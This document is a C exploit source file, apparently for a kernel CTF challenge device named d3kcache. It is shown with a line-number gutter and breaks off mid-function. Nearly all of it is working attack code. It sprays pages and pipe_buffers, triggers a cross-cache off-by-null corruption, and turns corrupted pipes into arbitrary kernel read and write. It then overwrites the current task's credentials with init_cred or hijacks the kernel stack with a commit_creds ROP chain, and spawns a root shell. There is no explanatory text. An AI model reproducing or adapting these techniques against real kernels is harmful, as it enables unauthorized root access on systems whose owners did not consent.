1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 877 878 879 880 881 882 883 884 885 886 887 888 889 890 891 892 893 894 895 896 897 898 899 900 901 902 903 904 905 906 907 908 909 910 911 912 913 914 915 916 917 918 919 920 921 922 923 924 925 926 927 928 929 930 931 932 933 934 935 936 937 938 939 940 941 942 943 944 945 946 947 948 949 950 951 952 953 954 955 956 957 958 959 960 961 962 963 964 965 966 967 968 969 970 971 972 973 974 975 976 977 978 979 980 981 982 983 984 985 986 987 988 989 990 991 992 993 994 995 996 997 998 999 1000 1001 1002 1003 1004 1005 1006 1007 1008 1009 1010 1011 1012 1013 1014 1015 1016 1017 1018 1019 1020 1021 1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1041 1042 1043 1044 1045 1046 1047 1048 1049 1050 1051 1052 1053 1054 1055 1056 1057 1058 1059 1060 1061 1062 1063 1064 1065 1066 1067 1068 1069 1070 1071 1072
| #define _GNU_SOURCE #include <err.h> #include <inttypes.h> #include <sched.h> #include <net/if.h> #include <netinet/in.h> #include <sys/ipc.h> #include <sys/msg.h> #include <sys/socket.h> #include <stdint.h> #include <sys/prctl.h> #include <sys/types.h> #include <stdio.h> #include <linux/userfaultfd.h> #include <pthread.h> #include <errno.h> #include <unistd.h> #include <stdlib.h> #include <fcntl.h> #include <signal.h> #include <string.h> #include <sys/mman.h> #include <sys/syscall.h> #include <sys/ioctl.h> #include <sys/sem.h> #include <semaphore.h> #include <poll.h> #include <time.h>
#define PGV_PAGE_NUM 1000 #define PGV_1PAGE_SPRAY_NUM 0x20 #define PGV_4PAGES_SPRAY_NUM 0x40 #define PGV_4PAGES_START_IDX 0x20 #define PGV_8PAGES_SPRAY_NUM 0x40 #define PGV_8PAGES_START_IDX 0x60 #define PACKET_VERSION 10 #define PACKET_TX_RING 13
#define PIPE_SPRAY_NUM 200 #define SND_PIPE_BUF_SZ 96 #define TRD_PIPE_BUF_SZ 192
void errExit(char *err_msg) { puts(err_msg); exit(-1); }
size_t user_cs, user_ss, user_sp, user_rflags; void save_status() { __asm__( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;"); puts("[*]status has been saved."); }
void get_shell() { if (getuid()) { printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n"); exit(-1); } printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n"); system("/bin/sh"); }
unsigned long kernel_addr; unsigned long kernel_base; unsigned long kernel_offset; int fd;
struct option { unsigned int idx; unsigned int size; char *buf; };
void create(unsigned int idx, unsigned int size, char *buf) { struct option *option = malloc(sizeof(struct option)); option->idx = idx; option->size = size; option->buf = buf; ioctl(fd, 0x114, option); }
void delete(unsigned int idx) { struct option *option = malloc(sizeof(struct option)); option->idx = idx; ioctl(fd, 0x810, option); }
void show(unsigned int idx, unsigned int size, char *buf) { struct option *option = malloc(sizeof(struct option)); option->idx = idx; option->size = size; option->buf = buf; ioctl(fd, 0x1919, option); }
void edit(unsigned int idx, unsigned int size, char *buf) { struct option *option = malloc(sizeof(struct option)); option->idx = idx; option->size = size; option->buf = buf; ioctl(fd, 0x514, option); }
struct pgv_page_request { int idx; int cmd; unsigned int size; unsigned int nr; };
enum tpacket_versions { TPACKET_V1, TPACKET_V2, TPACKET_V3, };
struct tpacket_req { unsigned int tp_block_size; unsigned int tp_block_nr; unsigned int tp_frame_size; unsigned int tp_frame_nr; };
int cmd_pipe_req[2], cmd_pipe_reply[2];
int create_socket_and_alloc_pages(unsigned int size, unsigned int nr) { struct tpacket_req req; int socket_fd, version; int ret;
socket_fd = socket(AF_PACKET, SOCK_RAW, PF_PACKET); if (socket_fd < 0) { printf("[x] failed at socket(AF_PACKET, SOCK_RAW, PF_PACKET)\n"); ret = socket_fd; return ret; }
version = TPACKET_V1; ret = setsockopt(socket_fd, SOL_PACKET, PACKET_VERSION, &version, sizeof(version)); if (ret < 0) { printf("[x] failed at setsockopt(PACKET_VERSION)\n"); close(socket_fd); return ret; }
memset(&req, 0, sizeof(req)); req.tp_block_size = size; req.tp_block_nr = nr; req.tp_frame_size = 0x1000; req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size;
ret = setsockopt(socket_fd, SOL_PACKET, PACKET_TX_RING, &req, sizeof(req)); if (ret < 0) { printf("[x] failed at setsockopt(PACKET_TX_RING)\n"); close(socket_fd); return ret; }
return socket_fd; }
int alloc_page(int idx, unsigned int size, unsigned int nr) { struct pgv_page_request req = { .idx = idx, .cmd = 0, .size = size, .nr = nr, }; int ret;
write(cmd_pipe_req[1], &req, sizeof(struct pgv_page_request)); read(cmd_pipe_reply[0], &ret, sizeof(ret));
return ret; }
int free_page(int idx) { struct pgv_page_request req = { .idx = idx, .cmd = 1, }; int ret;
write(cmd_pipe_req[1], &req, sizeof(req)); read(cmd_pipe_reply[0], &ret, sizeof(ret));
usleep(10000);
return ret; }
struct page; struct pipe_inode_info; struct pipe_buf_operations;
struct pipe_buffer { struct page *page; unsigned int offset, len; const struct pipe_buf_operations *ops; unsigned int flags; unsigned long private; };
int pipe_fd[PIPE_SPRAY_NUM][2]; struct pipe_buffer evil_2nd_buf, evil_3rd_buf, evil_4th_buf; int self_4th_pipe_pid = -1; int self_2nd_pipe_pid = -1; int self_3rd_pipe_pid = -1; char temp_zero_buf[0x1000] = {'\0'};
void arbitrary_read_by_pipe(struct page *page_to_read, void *dst) { evil_2nd_buf.offset = 0; evil_2nd_buf.len = 0x1ff8; evil_2nd_buf.page = page_to_read;
write(pipe_fd[self_3rd_pipe_pid][1], &evil_4th_buf, sizeof(evil_4th_buf));
write(pipe_fd[self_4th_pipe_pid][1], &evil_2nd_buf, sizeof(evil_2nd_buf)); write(pipe_fd[self_4th_pipe_pid][1], temp_zero_buf, TRD_PIPE_BUF_SZ - sizeof(evil_2nd_buf));
write(pipe_fd[self_4th_pipe_pid][1], &evil_3rd_buf, sizeof(evil_3rd_buf));
read(pipe_fd[self_2nd_pipe_pid][0], dst, 0xfff); }
void arbitrary_write_by_pipe(struct page *page_to_write, void *src, size_t len) { evil_2nd_buf.page = page_to_write; evil_2nd_buf.offset = 0; evil_2nd_buf.len = 0;
write(pipe_fd[self_3rd_pipe_pid][1], &evil_4th_buf, sizeof(evil_4th_buf));
write(pipe_fd[self_4th_pipe_pid][1], &evil_2nd_buf, sizeof(evil_2nd_buf)); write(pipe_fd[self_4th_pipe_pid][1], temp_zero_buf, TRD_PIPE_BUF_SZ - sizeof(evil_2nd_buf));
write(pipe_fd[self_4th_pipe_pid][1], &evil_3rd_buf, sizeof(evil_3rd_buf));
write(pipe_fd[self_2nd_pipe_pid][1], src, len); }
uint64_t page_offset_base; uint64_t vmemmap_base;
size_t direct_map_addr_to_page_addr(size_t direct_map_addr) { size_t page_count;
page_count = ((direct_map_addr & (~0xfff)) - page_offset_base) / 0x1000;
return vmemmap_base + page_count * 0x40; }
#define COMMIT_CREDS 0xffffffff811284e0 #define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff82201a90 #define INIT_CRED 0xffffffff83079ee8 #define POP_RDI_RET 0xffffffff810157a9 #define RET 0xffffffff810157aa
#define PTE_OFFSET 12 #define PMD_OFFSET 21 #define PUD_OFFSET 30 #define PGD_OFFSET 39
#define PT_ENTRY_MASK 0b111111111UL #define PTE_MASK (PT_ENTRY_MASK << PTE_OFFSET) #define PMD_MASK (PT_ENTRY_MASK << PMD_OFFSET) #define PUD_MASK (PT_ENTRY_MASK << PUD_OFFSET) #define PGD_MASK (PT_ENTRY_MASK << PGD_OFFSET)
#define PTE_ENTRY(addr) ((addr >> PTE_OFFSET) & PT_ENTRY_MASK) #define PMD_ENTRY(addr) ((addr >> PMD_OFFSET) & PT_ENTRY_MASK) #define PUD_ENTRY(addr) ((addr >> PUD_OFFSET) & PT_ENTRY_MASK) #define PGD_ENTRY(addr) ((addr >> PGD_OFFSET) & PT_ENTRY_MASK)
#define PAGE_ATTR_NX (1UL << 63)
#define NS_CAPABLE_SETID 0xffffffff810fd2a0
int main() { save_status();
char *buf = malloc(0x2000); char target[16]; size_t target_addr;
strcpy(target, "trytofind196082"); if (prctl(PR_SET_NAME, target, 0, 0, 0) != 0) { errExit("cannot set name"); }
fd = open("/dev/d3kcache", O_RDWR); if (fd == -1) { errExit("[-] faild open d3kcache!"); }
pipe(cmd_pipe_req); pipe(cmd_pipe_reply);
if (!fork()) { struct pgv_page_request req; int socket_fd[PGV_PAGE_NUM]; int ret;
char edit[0x100]; int tmp_fd;
unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET);
tmp_fd = open("/proc/self/setgroups", O_WRONLY); write(tmp_fd, "deny", strlen("deny")); close(tmp_fd);
tmp_fd = open("/proc/self/uid_map", O_WRONLY); snprintf(edit, sizeof(edit), "0 %d 1", getuid()); write(tmp_fd, edit, strlen(edit)); close(tmp_fd);
tmp_fd = open("/proc/self/gid_map", O_WRONLY); snprintf(edit, sizeof(edit), "0 %d 1", getgid()); write(tmp_fd, edit, strlen(edit)); close(tmp_fd);
while (1) { read(cmd_pipe_req[0], &req, sizeof(req)); if (req.cmd == 0) { ret = create_socket_and_alloc_pages(req.size, req.nr); socket_fd[req.idx] = ret; } else if (req.cmd == 1) { ret = close(socket_fd[req.idx]); } else if (req.cmd == 2) { exit(0); } write(cmd_pipe_reply[1], &ret, sizeof(ret)); } } int pgv_1page_start_idx = 0; int pgv_4pages_start_idx = PGV_4PAGES_START_IDX; int pgv_8pages_start_idx = PGV_8PAGES_START_IDX; {
puts("[*] spray pgv order-0 pages..."); for (int i = 0; i < PGV_1PAGE_SPRAY_NUM; i++) { if (alloc_page(i, 0x1000, 1) < 0) { printf("[x] failed to create %d socket for pages spraying!\n", i); errExit("Faild to spray pgv!"); } }
puts("[*] spray pgv order-2 pages..."); for (int i = 0; i < PGV_4PAGES_SPRAY_NUM; i++) { if (alloc_page(PGV_4PAGES_START_IDX + i, 0x1000 * 4, 1) < 0) { printf("[x] failed to create %d socket for pages spraying!\n", i); errExit("Faild to spray pgv!"); } }
puts("[*] spray pgv order-3 pages..."); for (int i = 0; i < PGV_8PAGES_SPRAY_NUM; i++) { if (i % 19 == 0) { free_page(pgv_4pages_start_idx++); }
if (i % 21 == 0) { free_page(pgv_1page_start_idx += 2); }
if (i % 512 == 0) { free_page(pgv_1page_start_idx += 2); }
if (alloc_page(PGV_8PAGES_START_IDX + i, 0x1000 * 8, 1) < 0) { printf("[x] failed to create %d socket for pages spraying!\n", i); errExit("Faild to spray pgv!"); } } }
int victim_pid = -1; int orig_pid = -1;
{ puts("[*] spray pipe_buffer..."); for (int i = 0; i < PIPE_SPRAY_NUM; i++) {
if (pipe(pipe_fd[i]) < 0) { printf("[x] failed to alloc %d pipe!", i); errExit("FAILED to create pipe!"); } } puts("[*] exetend pipe_buffer..."); for (int i = 0; i < (PIPE_SPRAY_NUM / 2); i++) { if (i % 8 == 0) { free_page(pgv_8pages_start_idx++); }
if (fcntl(pipe_fd[0 + i][1], F_SETPIPE_SZ, 0x1000 * 64) < 0) { printf("[x] failed to extend %d pipe!\n", 0 + i); errExit("FAILED to extend pipe!"); } } puts("[*] spray vulnerable 2k obj..."); free_page(pgv_8pages_start_idx++); for (int i = 0; i < 0x10; i++) { create(i, 8, "0x196082"); } puts("[*] exetend pipe_buffer..."); for (int i = 0; i < (PIPE_SPRAY_NUM / 2); i++) { if (i % 8 == 0) { free_page(pgv_8pages_start_idx++); }
if (fcntl(pipe_fd[(PIPE_SPRAY_NUM / 2) + i][1], F_SETPIPE_SZ, 0x1000 * 64) < 0) { printf("[x] failed to extend %d pipe!\n", (PIPE_SPRAY_NUM / 2) + i); errExit("FAILED to extend pipe!"); } } puts("[*] allocating pipe pages..."); for (int i = 0; i < PIPE_SPRAY_NUM; i++) { write(pipe_fd[i][1], "0x196082", 8); write(pipe_fd[i][1], &i, sizeof(int)); write(pipe_fd[i][1], &i, sizeof(int)); write(pipe_fd[i][1], &i, sizeof(int)); write(pipe_fd[i][1], "0x196082", 8); write(pipe_fd[i][1], "0x196082", 8); }
puts("[*] trigerring cross-cache off-by-null..."); show(0, 0, buf); memset(buf, 0x61, 0x800); for (int i = 0; i < 0x10; i++) { edit(i, 0x7f8, buf); } show(0, 0, buf); puts("[*] checking for corruption...");
for (int i = 0; i < PIPE_SPRAY_NUM; i++) { char str_flag[0x10]; int nr;
memset(str_flag, '\0', sizeof(str_flag)); read(pipe_fd[i][0], str_flag, 8); read(pipe_fd[i][0], &nr, sizeof(int)); if (!strcmp(str_flag, "0x196082") && nr != i) { orig_pid = nr; victim_pid = i; printf("\033[32m\033[1m[+] Found victim: \033[0m%d " "\033[32m\033[1m, orig: \033[0m%d\n\n", victim_pid, orig_pid); break; } } if (victim_pid == -1) { errExit("FAILED to corrupt pipe_buffer!"); } }
int snd_orig_pid = -1; int snd_vicitm_pid = -1; struct pipe_buffer info_pipe_buf;
{ size_t snd_pipe_sz = 0x1000 * (SND_PIPE_BUF_SZ / sizeof(struct pipe_buffer));
memset(buf, '\0', sizeof(buf));
write(pipe_fd[victim_pid][1], buf, SND_PIPE_BUF_SZ * 2 - 24 - 3 * sizeof(int));
puts("[*] free original pipe..."); close(pipe_fd[orig_pid][0]); close(pipe_fd[orig_pid][1]);
puts("[*] fcntl() to set the pipe_buffer on victim page..."); for (int i = 0; i < PIPE_SPRAY_NUM; i++) { if (i == orig_pid || i == victim_pid) { continue; }
if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, snd_pipe_sz) < 0) { printf("[x] failed to resize %d pipe!\n", i); errExit("FAILED to re-alloc pipe_buffer!"); } }
read(pipe_fd[victim_pid][0], buf, SND_PIPE_BUF_SZ - 8 - sizeof(int)); read(pipe_fd[victim_pid][0], &info_pipe_buf, sizeof(info_pipe_buf));
printf("\033[34m\033[1m[?] info_pipe_buf->page: \033[0m%p\n" "\033[34m\033[1m[?] info_pipe_buf->ops: \033[0m%p\n", info_pipe_buf.page, info_pipe_buf.ops);
if ((size_t)info_pipe_buf.page < 0xffff000000000000 || (size_t)info_pipe_buf.ops < 0xffffffff81000000) { errExit("FAILED to re-hit victim page!"); }
puts("\033[32m\033[1m[+] Successfully to hit the UAF page!\033[0m"); printf("\033[32m\033[1m[+] Got page leak:\033[0m %p\n", info_pipe_buf.page); puts("");
puts("[*] construct a second-level uaf pipe page..."); info_pipe_buf.page = (struct page *)((size_t)info_pipe_buf.page + 0x40); write(pipe_fd[victim_pid][1], &info_pipe_buf, sizeof(info_pipe_buf));
for (int i = 0; i < PIPE_SPRAY_NUM; i++) { int nr;
if (i == orig_pid || i == victim_pid) { continue; }
read(pipe_fd[i][0], &nr, sizeof(nr)); if (nr < PIPE_SPRAY_NUM && i != nr) { snd_orig_pid = nr; snd_vicitm_pid = i; printf("\033[32m\033[1m[+] Found second-level victim: \033[0m%d " "\033[32m\033[1m, orig: \033[0m%d\n", snd_vicitm_pid, snd_orig_pid); break; } }
if (snd_vicitm_pid == -1) { errExit("FAILED to corrupt second-level pipe_buffer!"); } }
{ size_t trd_pipe_sz = 0x1000 * (TRD_PIPE_BUF_SZ / sizeof(struct pipe_buffer)); struct pipe_buffer evil_pipe_buf; struct page *page_ptr;
memset(buf, 0, sizeof(buf));
write(pipe_fd[snd_vicitm_pid][1], buf, TRD_PIPE_BUF_SZ - 24 - 3 * sizeof(int));
puts("[*] free second-level original pipe..."); close(pipe_fd[snd_orig_pid][0]); close(pipe_fd[snd_orig_pid][1]);
puts("[*] fcntl() to set the pipe_buffer on second-level victim page..."); for (int i = 0; i < PIPE_SPRAY_NUM; i++) { if (i == orig_pid || i == victim_pid || i == snd_orig_pid || i == snd_vicitm_pid) { continue; }
if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, trd_pipe_sz) < 0) { printf("[x] failed to resize %d pipe!\n", i); errExit("FAILED to re-alloc pipe_buffer!"); } }
puts("[*] hijacking the 2nd pipe_buffer on page to itself..."); evil_pipe_buf.page = info_pipe_buf.page; evil_pipe_buf.offset = TRD_PIPE_BUF_SZ; evil_pipe_buf.len = TRD_PIPE_BUF_SZ; evil_pipe_buf.ops = info_pipe_buf.ops; evil_pipe_buf.flags = info_pipe_buf.flags; evil_pipe_buf.private = info_pipe_buf.private;
write(pipe_fd[snd_vicitm_pid][1], &evil_pipe_buf, sizeof(evil_pipe_buf));
for (int i = 0; i < PIPE_SPRAY_NUM; i++) { if (i == orig_pid || i == victim_pid || i == snd_orig_pid || i == snd_vicitm_pid) { continue; }
read(pipe_fd[i][0], &page_ptr, sizeof(page_ptr)); if (page_ptr == evil_pipe_buf.page) { self_2nd_pipe_pid = i; printf("\033[32m\033[1m[+] Found self-writing pipe: \033[0m%d\n", self_2nd_pipe_pid); break; } }
if (self_2nd_pipe_pid == -1) { errExit("FAILED to build a self-writing pipe!"); }
puts("[*] hijacking the 3rd pipe_buffer on page to itself..."); evil_pipe_buf.offset = TRD_PIPE_BUF_SZ; evil_pipe_buf.len = TRD_PIPE_BUF_SZ;
write(pipe_fd[snd_vicitm_pid][1], buf, TRD_PIPE_BUF_SZ - sizeof(evil_pipe_buf)); write(pipe_fd[snd_vicitm_pid][1], &evil_pipe_buf, sizeof(evil_pipe_buf));
for (int i = 0; i < PIPE_SPRAY_NUM; i++) { if (i == orig_pid || i == victim_pid || i == snd_orig_pid || i == snd_vicitm_pid || i == self_2nd_pipe_pid) { continue; }
read(pipe_fd[i][0], &page_ptr, sizeof(page_ptr)); if (page_ptr == evil_pipe_buf.page) { self_3rd_pipe_pid = i; printf("\033[32m\033[1m[+] Found another self-writing pipe:\033[0m" "%d\n", self_3rd_pipe_pid); break; } }
if (self_3rd_pipe_pid == -1) { errExit("FAILED to build a self-writing pipe!"); }
puts("[*] hijacking the 4th pipe_buffer on page to itself..."); evil_pipe_buf.offset = TRD_PIPE_BUF_SZ; evil_pipe_buf.len = TRD_PIPE_BUF_SZ;
write(pipe_fd[snd_vicitm_pid][1], buf, TRD_PIPE_BUF_SZ - sizeof(evil_pipe_buf)); write(pipe_fd[snd_vicitm_pid][1], &evil_pipe_buf, sizeof(evil_pipe_buf));
for (int i = 0; i < PIPE_SPRAY_NUM; i++) { if (i == orig_pid || i == victim_pid || i == snd_orig_pid || i == snd_vicitm_pid || i == self_2nd_pipe_pid || i == self_3rd_pipe_pid) { continue; }
read(pipe_fd[i][0], &page_ptr, sizeof(page_ptr)); if (page_ptr == evil_pipe_buf.page) { self_4th_pipe_pid = i; printf("\033[32m\033[1m[+] Found another self-writing pipe:\033[0m" "%d\n", self_4th_pipe_pid); break; } }
if (self_4th_pipe_pid == -1) { errExit("FAILED to build a self-writing pipe!"); } }
{ puts("[*] Setting up kernel arbitrary read & write...");
memcpy(&evil_2nd_buf, &info_pipe_buf, sizeof(evil_2nd_buf)); memcpy(&evil_3rd_buf, &info_pipe_buf, sizeof(evil_3rd_buf)); memcpy(&evil_4th_buf, &info_pipe_buf, sizeof(evil_4th_buf));
evil_2nd_buf.offset = 0; evil_2nd_buf.len = 0xff0;
evil_3rd_buf.offset = TRD_PIPE_BUF_SZ * 3; evil_3rd_buf.len = 0; write(pipe_fd[self_4th_pipe_pid][1], &evil_3rd_buf, sizeof(evil_3rd_buf));
evil_4th_buf.offset = TRD_PIPE_BUF_SZ; evil_4th_buf.len = 0; }
{ vmemmap_base = (size_t)info_pipe_buf.page & 0xfffffffff0000000; for (;;) { arbitrary_read_by_pipe((struct page *)(vmemmap_base + 157 * 0x40), buf);
if (*(uint64_t *)buf > 0xffffffff81000000 && ((*(uint64_t *)buf & 0xfff) == 0x070)) { kernel_base = *(uint64_t *)buf - 0x070; kernel_offset = kernel_base - 0xffffffff81000000; printf("\033[32m\033[1m[+] Found kernel base: \033[0m0x%lx\n" "\033[32m\033[1m[+] Kernel offset: \033[0m0x%lx\n", kernel_base, kernel_offset); break; }
vmemmap_base -= 0x10000000; } printf("\033[32m\033[1m[+] vmemmap_base:\033[0m 0x%lx\n\n", vmemmap_base); }
uint64_t parent_task, current_task;
{ puts("[*] Seeking task_struct in memory...");
uint64_t *comm_addr = 0; uint64_t *point_buf = malloc(0x1000);
for (int i = 0; 1; i++) { arbitrary_read_by_pipe((struct page *)(vmemmap_base + i * 0x40), point_buf);
comm_addr = memmem(point_buf, 0xf00, target, 0xf); if (comm_addr && (comm_addr[-2] > 0xffff888000000000) && (comm_addr[-3] > 0xffff888000000000) && (comm_addr[-57] > 0xffff888000000000) && (comm_addr[-56] > 0xffff888000000000)) { parent_task = comm_addr[-57];
current_task = comm_addr[-50] - 2528;
page_offset_base = (comm_addr[-50] & 0xfffffffffffff000) - i * 0x1000; page_offset_base &= 0xfffffffff0000000;
printf("\033[32m\033[1m[+] Found task_struct on page: \033[0m%p\n", (struct page *)(vmemmap_base + i * 0x40)); printf("\033[32m\033[1m[+] page_offset_base: \033[0m0x%lx\n", page_offset_base); printf("\033[34m\033[1m[*] current task_struct's addr: \033[0m" "0x%lx\n\n", current_task); break; } } }
int command = 0; uint64_t stack_addr; size_t *tsk_buf; size_t *mm_struct_buf; uint64_t mm_struct_addr; uint64_t mm_struct_page; uint64_t pgd_addr;
switch (command) { case 0: puts("[*] Seeking for init_task..."); { uint64_t init_task; uint64_t init_cred; uint64_t init_nsproxy;
for (;;) { size_t ptask_page_addr = direct_map_addr_to_page_addr(parent_task);
tsk_buf = (size_t *)((size_t)buf + (parent_task & 0xfff));
arbitrary_read_by_pipe((struct page *)ptask_page_addr, buf); arbitrary_read_by_pipe((struct page *)(ptask_page_addr + 0x40), &buf[512 * 8]);
if (parent_task == tsk_buf[309]) { break; }
parent_task = tsk_buf[309]; }
init_task = parent_task; init_cred = tsk_buf[363]; init_nsproxy = tsk_buf[377];
printf("\033[32m\033[1m[+] Found init_task: \033[0m0x%lx\n", init_task); printf("\033[32m\033[1m[+] Found init_cred: \033[0m0x%lx\n", init_cred); printf("\033[32m\033[1m[+] Found init_nsproxy:\033[0m0x%lx\n", init_nsproxy);
puts("[*] Escalating ROOT privilege now...");
size_t current_task_page = direct_map_addr_to_page_addr(current_task);
arbitrary_read_by_pipe((struct page *)current_task_page, buf); arbitrary_read_by_pipe((struct page *)(current_task_page + 0x40), &buf[512 * 8]);
tsk_buf = (size_t *)((size_t)buf + (current_task & 0xfff)); tsk_buf[363] = init_cred; tsk_buf[364] = init_cred; tsk_buf[377] = init_nsproxy;
arbitrary_write_by_pipe((struct page *)current_task_page, buf, 0xff0); arbitrary_write_by_pipe((struct page *)(current_task_page + 0x40), &buf[512 * 8], 0xff0);
puts("[+] Done.\n"); puts("[*] checking for root...");
get_shell(); } break; case 1: puts("[*] Reading current task_struct..."); { size_t current_task_page = direct_map_addr_to_page_addr(current_task); arbitrary_read_by_pipe((struct page *)current_task_page, buf); arbitrary_read_by_pipe((struct page *)(current_task_page + 0x40), &buf[512 * 8]);
tsk_buf = (size_t *)((size_t)buf + (current_task & 0xfff)); stack_addr = tsk_buf[4]; mm_struct_addr = tsk_buf[292];
printf("\033[34m\033[1m[*] kernel stack's addr:\033[0m0x%lx\n", stack_addr); printf("\033[34m\033[1m[*] mm_struct's addr:\033[0m0x%lx\n", mm_struct_addr);
mm_struct_page = direct_map_addr_to_page_addr(mm_struct_addr);
printf("\033[34m\033[1m[*] mm_struct's page:\033[0m0x%lx\n", mm_struct_page);
arbitrary_read_by_pipe((struct page *)mm_struct_page, buf); arbitrary_read_by_pipe((struct page *)(mm_struct_page + 0x40), &buf[512 * 8]);
mm_struct_buf = (size_t *)((size_t)buf + (mm_struct_addr & 0xfff));
pgd_addr = mm_struct_buf[9];
printf("\033[32m\033[1m[+] Got kernel page table of current task:\033[0m" "0x%lx\n\n", pgd_addr); } { puts("[*] Reading page table...");
size_t rop[0x1000]; size_t idx = 0; uint64_t stack_addr_another; size_t pud_addr, pmd_addr, pte_addr, pte_val;
arbitrary_read_by_pipe((void *)direct_map_addr_to_page_addr(pgd_addr), buf); pud_addr = (*(size_t *)((size_t *)buf + PGD_ENTRY(stack_addr)) & (~0xfff)) & (~PAGE_ATTR_NX); pud_addr += page_offset_base;
arbitrary_read_by_pipe((void *)direct_map_addr_to_page_addr(pud_addr), buf); pmd_addr = (*(size_t *)((size_t *)buf + PUD_ENTRY(stack_addr)) & (~0xfff)) & (~PAGE_ATTR_NX); pmd_addr += page_offset_base;
arbitrary_read_by_pipe((void *)direct_map_addr_to_page_addr(pmd_addr), buf); pte_addr = (*(size_t *)((size_t *)buf + PMD_ENTRY(stack_addr)) & (~0xfff)) & (~PAGE_ATTR_NX); pte_addr += page_offset_base;
arbitrary_read_by_pipe((void *)direct_map_addr_to_page_addr(pte_addr), buf); pte_val = (*(size_t *)((size_t *)buf + PTE_ENTRY(stack_addr)) & (~0xfff)) & (~PAGE_ATTR_NX);
stack_addr_another = pte_val; stack_addr_another &= (~PAGE_ATTR_NX); stack_addr_another += page_offset_base;
printf("\033[32m\033[1m[+] Got another virt addr of kernel stack: \033[0m" "0x%lx\n\n", stack_addr_another);
for (int i = 0; i < ((0x1000 - 0x100) / 8); i++) { rop[idx++] = RET + kernel_offset; }
rop[idx++] = POP_RDI_RET + kernel_offset; rop[idx++] = INIT_CRED + kernel_offset; rop[idx++] = COMMIT_CREDS + kernel_offset; rop[idx++] = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 54 + kernel_offset; rop[idx++] = *(size_t *)"0x196082"; rop[idx++] = *(size_t *)"0x196082"; rop[idx++] = (size_t)get_shell; rop[idx++] = user_cs; rop[idx++] = user_rflags; rop[idx++] = user_sp; rop[idx++] = user_ss;
uint64_t stack_page = direct_map_addr_to_page_addr(stack_addr_another);
puts("[*] Hijacking current task's stack...");
sleep(5);
arbitrary_write_by_pipe((struct page *)(stack_page + 0x40 * 3), rop, 0xff0); } case 2: puts("[*] Reading current task_struct..."); { size_t current_task_page = direct_map_addr_to_page_addr(current_task); arbitrary_read_by_pipe((struct page *)current_task_page, buf); arbitrary_read_by_pipe((struct page *)(current_task_page + 0x40), &buf[512 * 8]);
tsk_buf = (size_t *)((size_t)buf + (current_task & 0xfff)); stack_addr = tsk_buf[4]; mm_struct_addr = tsk_buf[292];
